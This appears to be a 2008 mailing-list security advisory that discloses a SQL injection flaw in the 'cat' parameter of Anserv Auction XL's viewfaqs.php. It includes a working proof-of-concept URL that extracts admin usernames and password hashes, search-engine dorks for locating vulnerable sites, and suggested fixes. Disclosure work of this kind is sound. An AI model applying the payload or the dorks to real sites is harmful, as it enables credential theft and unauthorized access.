<<< Date Index >>>     <<< Thread Index >>>

[ECHO_ADV_92$2008] Anserv Auction XL (viewfaqs.php cat) Blind Sql Injection Vulnerability



ECHO_ADV_92$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_92$2008] Anserv Auction XL (viewfaqs.php cat) Blind Sql Injection 
Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv92-K-159-2008.txt
Critical Lvl   : Medium
Impact         : System access
Where          : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Anserv Auction XL
version       : 
Vendor        : http://auctionxl.com/ http://anserv.com/
Description   :

Auction XL offers many features in an auction software package. If you would 
like to bill your clients monthly for their accumulated fees,
XL is the right choice for your auction software. "Name Your Price" offers is 
just one of the newly added features.
Auction XL has many features included making it a robust auction software 
package that offers complete user interaction and admin control
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

Input passed to the "cat" parameter is not properly verified before being used 
to sql query. 
This can be exploited thru the browser and get the username and hash md5 
password from admin.
Successful exploitation requires that "magic_quotes" is off


Poc/Exploit:
~~~~~~~~~~

http://www.target.com/viewfaqs.php?cat=-1%20union%20select%20concat(id,0x3a,username,0x3a,password)%20from
 PHPAUCTIONXL_adminusers--

Dork:
~~~~~
Google    : "allinurl:viewfaqs.php?cat="
Altavista : "Home  |  Sell an item  |  Register  |  Login  |  Community  | Site 
Map |  Help"

Solution:
~~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini
 

Timeline:
~~~~~~~~~

- 02 - 05 - 2008 bug found
- 03 - 05 - 2008 vendor contacted
- 05 - 05 - 2008 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n 
the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, 
az01,negative,the_hydra,neng chika, str0ke
~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES
~ 
masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, 
stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@xxxxxxxxxxxxxxx
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
---------------------------------------------------------------------------
Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------